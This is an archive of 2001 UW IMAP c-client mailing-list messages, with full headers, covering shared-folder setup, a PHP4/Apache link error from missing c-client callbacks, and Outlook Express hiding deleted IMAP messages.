(8.9.3/8.9.1) with ESMTP id VAA16387 for ; Thu, 26 Apr 2001 21:00:50 -0400 Message-Id: Date: Thu, 26 Apr 2001 21:00:50 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: Subject: Re: Shared Folders and UW IMAP In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 26 Apr 2001, Sean S Coleman wrote: > I can't get any of the common mail clients, ie Outlook, Eudora 5.1 or > Netscape messenger to see the shared folder under the imapshared > directory. All the common clients suck. Mulberry reportedly works. I have never gotten Eudora or OE to work, but this _usually_ works with Netscape: File/Subscribe Create folder #shared/blahblah/nada That usually jolts Netscape enough to realize that there's a #shared/ namespace available. Then you can subscribe to the folders you want and delete the "nada" folder. I've heard reports that Netscape on the Mac sometimes decides that shared folders don't exist and unsubscribes them. You might find it easier to write a script to cat the folder you want onto ~user/.mailboxlist -- Rich Graves UNet Systems Administrator From pinedev@shivax2.cac.washington.edu Fri Apr 27 04:01:42 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 27 Apr 2001 04:01:37 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f3RB0bD05038 for ; Fri, 27 Apr 2001 04:00:57 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Fri Apr 27 03:12:24 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3RACNC02161; Fri, 27 Apr 2001 03:12:23 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f3RA1ln31846; Fri, 27 Apr 2001 03:01:47 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3RA0G905728 for ; Fri, 27 Apr 2001 03:00:16 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3RA0GF06734 for ; Fri, 27 Apr 2001 03:00:16 -0700 Received: from rincewind.msc-media.de (p3E9D1AEA.dip.t-dialin.net [62.157.26.234]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3RA0Eu10360 for ; Fri, 27 Apr 2001 03:00:14 -0700 Received: from localhost (localhost [127.0.0.1]) by rincewind.msc-media.de (8.8.8/8.8.8) with ESMTP id LAA07893 for ; Fri, 27 Apr 2001 11:49:59 +0200 Message-Id: <200104270949.LAA07893@rincewind.msc-media.de> Date: Fri, 27 Apr 2001 11:49:58 +0200 (MEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sven Carstens To: c-client@CAC.Washington.EDU Subject: Re: Shared Folders and UW IMAP In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=us-ascii Content-Transfer-Encoding: QUOTED-PRINTABLE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Am Sun, 26 Apr 2001 schrieb Sean S Coleman : > I am in the process of evaluating shared folders under UW IMAP and am > having some difficulties. I need to find out if the behavior I am > experiencing is as expected or I am doing something wrong. >=20 > I created a user on the IMAP server called imapshared and gave it a > home directory and a public mail folder with permissions set so all could > read the messages. Before continuing, let me state that I realize that > this stuff is very dependent on the mail client but I just want to make > sure I understand what is happening. We implement shared folders in a completely namespace independend way. - users mail dir is ~/Mail - inside there is a symlink to the shared folders - the access rights are managed via the group - watch the rights you're giving away! Only drawback so far: - Microsoft OE sometimes kicks the users out of a selected box if another u= ser is opening it. - Microsoft OE is piece of crap for imap - namespaces would be much better CU Sven From pinedev@shivax2.cac.washington.edu Mon Apr 30 03:28:52 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 30 Apr 2001 03:28:52 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f3UASpD17103 for ; Mon, 30 Apr 2001 03:28:51 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Mon Apr 30 03:28:50 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3UASou26560; Mon, 30 Apr 2001 03:28:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f3UAQRL10370; Mon, 30 Apr 2001 03:26:28 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3UAOH9103248 for ; Mon, 30 Apr 2001 03:24:18 -0700 Received: from mail.hellcq.net ([202.105.12.167]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f3UAOGv32762 for ; Mon, 30 Apr 2001 03:24:17 -0700 Received: (qmail 23471 invoked from network); 1 May 2001 02:23:04 -0000 Received: from unknown (HELO hamboy) (202.105.12.168) by 0 with SMTP; 1 May 2001 02:23:04 -0000 Message-Id: <01a301c0d15e$df703e20$cbc8c8c8@hytech.com.cn> Date: Mon, 30 Apr 2001 18:18:17 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Terry BD7NQ" To: Subject: c-client with apache MIME-Version: 1.0 Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I install php4pl1 and apache_1.3.19 in FreeBSD 4.2. I succeed install c-client and php4pl1. c-client install path is /usr/local/lib and /usr/local/include/c-client, php4pl1 use ./configure --with-mysql --with-apache=../apache_1.3.19 --with-gd --with-ima p configure command. Ok, the go on to install the apache, after I enter command ./configure --prefix=/usr/local/httpd --activate-module=src/modules/php4/lib php4.a then I got the following message, == Begin === www# ./configure --prefix=/usr/local/httpd --activate-module=src/modules/php4/lib php4.a Configuring for Apache, Version 1.3.19 + using installation path layout: Apache (config.layout) + activated php4 module (modules/php4/libphp4.a) Creating Makefile Creating Configuration.apaci in src Creating Makefile in src + configured for FreeBSD 4.2 platform + setting C compiler to gcc + setting C pre-processor to gcc -E + checking for system header files + adding selected modules o php4_module uses ConfigStart/End + checking sizeof various data types + doing sanity check on compiler and options ** A test compilation with your Makefile configuration ** failed. The below error output from the compilation ** test will give you an idea what is failing. Note that ** Apache requires an ANSI C Compiler, such as gcc. cd ..; gcc -funsigned-char -I/home/liang/software/php-4.0.4pl1 -I/home/liang/softw are/php-4.0.4pl1/main -I/home/liang/software/php-4.0.4pl1/main -I/home/liang /software/php-4.0.4pl1/Zend -I/home/liang/software/php-4.0.4pl1/Zend -I/home /liang/software/php-4.0.4pl1/TSRM -I/home/liang/software/php-4.0.4pl1/TSRM - I/home/liang/software/php-4.0.4pl1 -DUSE_EXPAT -I./lib/expat-lite -DNO_DL_NE EDED `./apaci` -o helpers/dummy elpers/dummy.c -R/usr/local/lib -rdynamic -L/usr/local/lib -Lmodules/php4 -L../modules/php4 -L../../modules/php4 -lmodphp4 -lpam -lc-client4 -lttf -lgd -lm -lcrypt -lcrypt /usr/local/lib/libc-client4.so: undefined reference to `mm_expunged' /usr/local/lib/libc-client4.so: undefined reference to `mm_diskerror' /usr/local/lib/libc-client4.so: undefined reference to `mm_lsub' /usr/local/lib/libc-client4.so: undefined reference to `mm_flags' /usr/local/lib/libc-client4.so: undefined reference to `mm_fatal' /usr/local/lib/libc-client4.so: undefined reference to `mm_nocritical' /usr/local/lib/libc-client4.so: undefined reference to `mm_notify' /usr/local/lib/libc-client4.so: undefined reference to `mm_searched' /usr/local/lib/libc-client4.so: undefined reference to `mm_status' /usr/local/lib/libc-client4.so: undefined reference to `mm_login' /usr/local/lib/libc-client4.so: undefined reference to `mm_list' /usr/local/lib/libc-client4.so: undefined reference to `mm_critical' /usr/local/lib/libc-client4.so: undefined reference to `mm_exists' /usr/local/lib/libc-client4.so: undefined reference to `mm_log' /usr/local/lib/libc-client4.so: undefined reference to `mm_dlog' *** Error code 1 Stop in /home/liang/software/apache_1.3.19/src/helpers. ======== Error Output for sanity check ======== ============= End of Error Report ============= Aborting! == End == Any help is welcome! Terry Bd7nq -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Apr 30 10:16:04 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 30 Apr 2001 10:16:04 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f3UHG3D03706 for ; Mon, 30 Apr 2001 10:16:03 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Mon Apr 30 10:16:02 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3UHG1C27775; Mon, 30 Apr 2001 10:16:01 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f3UHCXU20398; Mon, 30 Apr 2001 10:12:33 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3UH5U9103364 for ; Mon, 30 Apr 2001 10:05:30 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pat@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3UH5Ub30307 for ; Mon, 30 Apr 2001 10:05:30 -0700 Message-Id: Date: Mon, 30 Apr 2001 10:04:27 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Terry BD7NQ Cc: c-client@u.washington.edu Subject: re: c-client with apache In-Reply-To: <01a301c0d15e$df703e20$cbc8c8c8@hytech.com.cn> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Those undefined references to mm_??? functions are all c-client callbacks to the main program. PHP4 is supposed to provide these; I suggest checking with the support people for PHP4. From pinedev@shivax2.cac.washington.edu Wed May 2 10:34:51 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 2 May 2001 10:34:47 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f42HYkD29709 for ; Wed, 2 May 2001 10:34:46 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Wed May 02 10:34:45 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42HYjC07036; Wed, 2 May 2001 10:34:45 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f42HUME15574; Wed, 2 May 2001 10:30:22 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42HOR077450 for ; Wed, 2 May 2001 10:24:32 -0700 Received: from hermes.birddog.com (hermes.birddog.com [63.125.164.131]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42HONK13975 for ; Wed, 2 May 2001 10:24:27 -0700 Received: from birddog.com (ns100dmz.birddog.com [10.2.0.1]) by hermes.birddog.com (8.11.2/8.11.2) with ESMTP id f42HYio30882 for ; Wed, 2 May 2001 12:34:44 -0500 Message-Id: <3AF04285.49B00333@birddog.com> Date: Wed, 02 May 2001 12:23:17 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: tdavis@birddog.com To: c-client@u.washington.edu Subject: off-topic? outlook express issue MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: td@hermes.birddog.com X-Accept-Language: en X-Scanned-By: MIMEDefang 0.7 (http://www.roaringpenguin.com/mimedefang/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN When an outlook express client deletes a message, it removes it completely and does not place it into a folder or simply "mark" it as deleted. I know outlook and netscape can do this. Am I missing some configuration setting that allows this? I looked at a rule to move it into a folder when deleted and I can't seem to do that with the rules M$ has set up. Thanks for any help. -- Terry Davis Systems Administrator BirdDog Solutions, Inc. 2102 N 117th Ave Omaha, NE 68164 voice: (402) 829-6059 fax: (402) 829-6199 pager: (877) 973-6995 tdavis@birddog.com www.birddog.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 2 11:08:57 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 2 May 2001 11:08:57 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f42I8uD17223 for ; Wed, 2 May 2001 11:08:56 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Wed May 02 11:08:55 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42I8ou17090; Wed, 2 May 2001 11:08:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f42I4rp19310; Wed, 2 May 2001 11:04:54 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42I2k038178 for ; Wed, 2 May 2001 11:02:46 -0700 Received: from gifw.genroco.com (genroco.com [205.254.195.202]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42I2gX14055 for ; Wed, 2 May 2001 11:02:43 -0700 Received: from gi2.genroco.com (IDENT:root@gi2.genroco.com [192.133.120.3]) by gifw.genroco.com (8.9.3/8.9.3) with ESMTP id MAA11841; Wed, 2 May 2001 12:02:29 -0500 Received: from scot.genroco.com (scot.genroco.com [192.133.120.125]) by gi2.genroco.com (8.9.3/8.9.3) with SMTP id NAA08118; Wed, 2 May 2001 13:03:06 -0500 Message-Id: <02de01c0d332$08fd08c0$7d7885c0@genroco.com> Date: Wed, 2 May 2001 13:02:19 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Scot W. Hetzel" To: , Subject: Re: off-topic? outlook express issue References: <3AF04285.49B00333@birddog.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN From: > When an outlook express client deletes a message, it removes it > completely and does not place it into > a folder or simply "mark" it as deleted. I know outlook and netscape > can do this. Am I missing some > configuration setting that allows this? I looked at a rule to move it > into a folder when deleted and > I can't seem to do that with the rules M$ has set up. > It depends on the type of account you have setup in Outlook Express. POP3 - delete message, message placed into "Deleted Items" folder (Local Folders). IMAP - delete message, message is marked deleted on IMAP server. If "Purge deleted messages when leaving IMAP folders" is checked the deleted message is removed from the IMAP server. So if you have an IMAP account in Outlook Express, and you want to keep deleted messages in a "Deleted Items" folder, you will need to use the "Move message to folder" option, instead of deleting the message(s). Scot From pinedev@shivax2.cac.washington.edu Wed May 2 11:32:54 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 2 May 2001 11:32:54 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f42IWrD32568 for ; Wed, 2 May 2001 11:32:53 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Wed May 02 11:32:53 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42IWqC09341; Wed, 2 May 2001 11:32:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f42IUpp19432; Wed, 2 May 2001 11:30:51 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42ITu053606 for ; Wed, 2 May 2001 11:29:57 -0700 Received: from hermes.birddog.com (hermes.birddog.com [63.125.164.131]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42ITqF14736 for ; Wed, 2 May 2001 11:29:56 -0700 Received: from birddog.com (ns100dmz.birddog.com [10.2.0.1]) by hermes.birddog.com (8.11.2/8.11.2) with ESMTP id f42Ie9o32513 for ; Wed, 2 May 2001 13:40:09 -0500 Message-Id: <3AF051DA.BF0EFD64@birddog.com> Date: Wed, 02 May 2001 13:28:42 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: tdavis@birddog.com To: c-client@u.washington.edu Subject: Re: off-topic? outlook express issue References: <3AF04285.49B00333@birddog.com> <02de01c0d332$08fd08c0$7d7885c0@genroco.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: td@hermes.birddog.com X-Accept-Language: en X-Scanned-By: MIMEDefang 0.7 (http://www.roaringpenguin.com/mimedefang/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Ya, it is imap. On this client, it is not even marking it as deleted. I have been through the options thoroughly to no evail. Rather frustrating. I wish outlook express had more flexible rules so I could simply place a copy in the Deleted Items folder when I delete the message. "Scot W. Hetzel" wrote: > > From: > > When an outlook express client deletes a message, it removes it > > completely and does not place it into > > a folder or simply "mark" it as deleted. I know outlook and netscape > > can do this. Am I missing some > > configuration setting that allows this? I looked at a rule to move it > > into a folder when deleted and > > I can't seem to do that with the rules M$ has set up. > > > It depends on the type of account you have setup in Outlook Express. > > POP3 - delete message, message placed into "Deleted Items" folder (Local > Folders). > > IMAP - delete message, message is marked deleted on IMAP server. If "Purge > deleted messages when leaving IMAP folders" is checked the deleted message > is removed from the IMAP server. > > So if you have an IMAP account in Outlook Express, and you want to keep > deleted messages in a "Deleted Items" folder, you will need to use the "Move > message to folder" option, instead of deleting the message(s). > > Scot -- Terry Davis Systems Administrator BirdDog Solutions, Inc. 2102 N 117th Ave Omaha, NE 68164 voice: (402) 829-6059 fax: (402) 829-6199 pager: (877) 973-6995 tdavis@birddog.com www.birddog.com From pinedev@shivax2.cac.washington.edu Wed May 2 11:50:27 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 2 May 2001 11:50:26 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f42IoPD22966 for ; Wed, 2 May 2001 11:50:25 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Wed May 02 11:50:25 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42IoOu18784; Wed, 2 May 2001 11:50:24 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f42IhtH08346; Wed, 2 May 2001 11:43:56 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42Igt0113008 for ; Wed, 2 May 2001 11:42:56 -0700 Received: from gifw.genroco.com (genroco.com [205.254.195.202]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42IgrF19233 for ; Wed, 2 May 2001 11:42:53 -0700 Received: from gi2.genroco.com (IDENT:root@gi2.genroco.com [192.133.120.3]) by gifw.genroco.com (8.9.3/8.9.3) with ESMTP id MAA13914; Wed, 2 May 2001 12:42:38 -0500 Received: from scot.genroco.com (scot.genroco.com [192.133.120.125]) by gi2.genroco.com (8.9.3/8.9.3) with SMTP id NAA08547; Wed, 2 May 2001 13:43:14 -0500 Message-Id: <036001c0d337$a4b10320$7d7885c0@genroco.com> Date: Wed, 2 May 2001 13:42:28 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Scot W. Hetzel" To: , Subject: Re: off-topic? outlook express issue References: <3AF04285.49B00333@birddog.com> <02de01c0d332$08fd08c0$7d7885c0@genroco.com> <3AF051DA.BF0EFD64@birddog.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN From: > Ya, it is imap. On this client, it is not even marking it as deleted. > I have been through the options thoroughly to no evail. > Rather frustrating. I wish outlook express had more flexible rules so I > could simply place a copy in the Deleted Items folder when > I delete the message. > It is marking it as deleted, but you haven't told Outlook Express to show deleted messages. Goto View->Current View, and see if there is a check mark next to "Show Deleted Messages". If there is no check mark, click on "Show Deleted Messages". Scot From pinedev@shivax2.cac.washington.edu Wed May 2 12:02:26 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 2 May 2001 12:02:25 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f42J2ND29662 for ; Wed, 2 May 2001 12:02:24 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Wed May 02 12:02:22 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42J2MC10522; Wed, 2 May 2001 12:02:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f42IxLE10074; Wed, 2 May 2001 11:59:21 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42IrS098770 for ; Wed, 2 May 2001 11:53:28 -0700 Received: from mail1.fastweb.com (IDENT:qmailr@mail01.fastweb.com [63.72.129.67]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f42IrRK13231 for ; Wed, 2 May 2001 11:53:27 -0700 Received: (qmail 4460 invoked from network); 2 May 2001 18:53:26 -0000 Received: from unknown (HELO mockturtle.fastweb.com) (63.72.129.187) by mail01.fastweb.com with SMTP; 2 May 2001 18:53:26 -0000 Received: (from sware@localhost) by mockturtle.fastweb.com (8.9.3+Sun/8.9.1) id NAA10897; Wed, 2 May 2001 13:52:49 -0500 (CDT) Message-Id: Date: Wed, 2 May 2001 13:52:49 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sean Ware To: tdavis@birddog.com Cc: c-client@u.washington.edu Subject: Re: off-topic? outlook express issue In-Reply-To: <3AF051DA.BF0EFD64@birddog.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: sware@mockturtle X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 2 May 2001 tdavis@birddog.com wrote: > Date: Wed, 02 May 2001 13:28:42 -0500 > From: tdavis@birddog.com > To: c-client@u.washington.edu > Subject: Re: off-topic? outlook express issue > > Ya, it is imap. On this client, it is not even marking it as deleted. > I have been through the options thoroughly to no evail. > Rather frustrating. I wish outlook express had more flexible rules so I > could simply place a copy in the Deleted Items folder when > I delete the message. Likely it's just that the client is not displaying the deleted messages. Try this: View --> Current View --> Show Deleted Messages ....Sean -- ---------------------------------------------------------------- Sean Ware Fastweb, Inc. Network Engineer Skokie, IL USA sware@fastweb.com http://www.fastweb.com From pinedev@shivax2.cac.washington.edu Wed May 2 12:33:55 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 2 May 2001 12:33:55 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f42JXsD27134 for ; Wed, 2 May 2001 12:33:54 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Wed May 02 12:33:53 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42JXrC11647; Wed, 2 May 2001 12:33:53 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f42JVaE17464; Wed, 2 May 2001 12:31:36 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42J6P038288 for ; Wed, 2 May 2001 12:06:27 -0700 Received: from hermes.birddog.com (hermes.birddog.com [63.125.164.131]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f42J6LX04106 for ; Wed, 2 May 2001 12:06:21 -0700 Received: from birddog.com (ns100dmz.birddog.com [10.2.0.1]) by hermes.birddog.com (8.11.2/8.11.2) with ESMTP id f42JGdo00974 for ; Wed, 2 May 2001 14:16:39 -0500 Message-Id: <3AF05A67.FC7C191@birddog.com> Date: Wed, 02 May 2001 14:05:11 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: tdavis@birddog.com To: c-client@u.washington.edu Subject: Re: off-topic? outlook express issue References: <3AF04285.49B00333@birddog.com> <02de01c0d332$08fd08c0$7d7885c0@genroco.com> <3AF051DA.BF0EFD64@birddog.com> <036001c0d337$a4b10320$7d7885c0@genroco.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: td@hermes.birddog.com X-Accept-Language: en X-Scanned-By: MIMEDefang 0.7 (http://www.roaringpenguin.com/mimedefang/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN That was it. :) Thanks Scott. Yes, I feel like a tool now. "Scot W. Hetzel" wrote: > > From: > > Ya, it is imap. On this client, it is not even marking it as deleted. > > I have been through the options thoroughly to no evail. > > Rather frustrating. I wish outlook express had more flexible rules so I > > could simply place a copy in the Deleted Items folder when > > I delete the message. > > > It is marking it as deleted, but you haven't told Outlook Express to show > deleted messages. > > Goto View->Current View, and see if there is a check mark next to "Show > Deleted Messages". If there is no check mark, click on "Show Deleted > Messages". > > Scot -- Terry Davis Systems 